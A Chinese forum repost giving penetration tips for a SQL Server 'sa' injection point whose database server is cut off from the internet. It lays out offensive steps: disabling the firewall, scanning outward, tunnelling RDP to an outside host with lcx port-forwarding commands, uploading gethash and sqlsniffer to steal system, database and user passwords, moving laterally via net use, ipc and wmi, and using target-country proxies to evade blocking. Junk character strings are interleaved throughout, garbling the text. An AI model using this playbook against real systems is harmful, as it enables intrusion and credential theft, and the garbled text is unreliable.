当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。6 J: d( G/ X: @ ^
. d# E6 b1 `- `; ~% v
4 L5 b+ o: w8 {
7 e. S5 z: \/ s3 s5 `: o0 X* C
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
* g# x% p8 w2 M" D7 ~9 `9 L
: \3 ]" F3 `% q4 m# Y+ b* K8 y
6 s! \; l/ Q# E+ A1 `- U一、DB机有公网IP.
: K; `: j7 s- q, S- W% R
" F" O# Y, Z" X7 z+ d# j1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
( J- O" u+ o2 U$ s: d; |
- C! S6 A( i1 b3 F. N# e6 `0 [
% u( K! q! ?7 P: v) u" i2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
+ [) f8 [( V" }0 L& H' I2 q6 l4 D2 p, `) b; t
2 A4 T. Q. V0 Z0 c
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com8 T7 x1 o& V6 ~) l f) [' ]8 `
/ `% k$ N5 e* x! E( v3 O! C9 u& W: X o. Q1 ]" v
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.( h6 A4 s% W. h) ?. Y+ e
3 [; ~/ T4 R2 r7 Q+ U) e6 Q! Z- f- V1 I/ u; @3 z
; W. Q* x3 d. Z' I/ E* R二、DB机只有内网IP
6 a& j" I( Y( a/ r! Q7 B/ M" [0 ~. E9 e1 L( X1 Z
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.( X/ W6 ^5 t# p" S+ h u
, K6 z/ e5 N. e2 Q" b1 e M! R; c6 ^% m- G
2:停掉防火墙和IP策略再从内往外扫描.7 n6 J6 M+ H B- z
8 ^: D% p0 Z) J; L4 f; |
" @$ l" I `, A5 K: Z, U6 D3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的., E" @7 l/ ]2 D4 w
f* H9 ?" L$ q/ R: [& z
$ |6 _- Z4 o( G0 @: d4:学会密码规律分析往往会有惊喜.+ u' b+ F0 N3 |
$ @% S7 ~9 [% ~) N; \& L
* a* G! n) Y: w1 G7 i, N5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等' ?; J# f4 j1 ~% v; q( v6 I
9 t4 Z. `1 {; d+ }
" O7 j; l0 n$ M) W, r有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |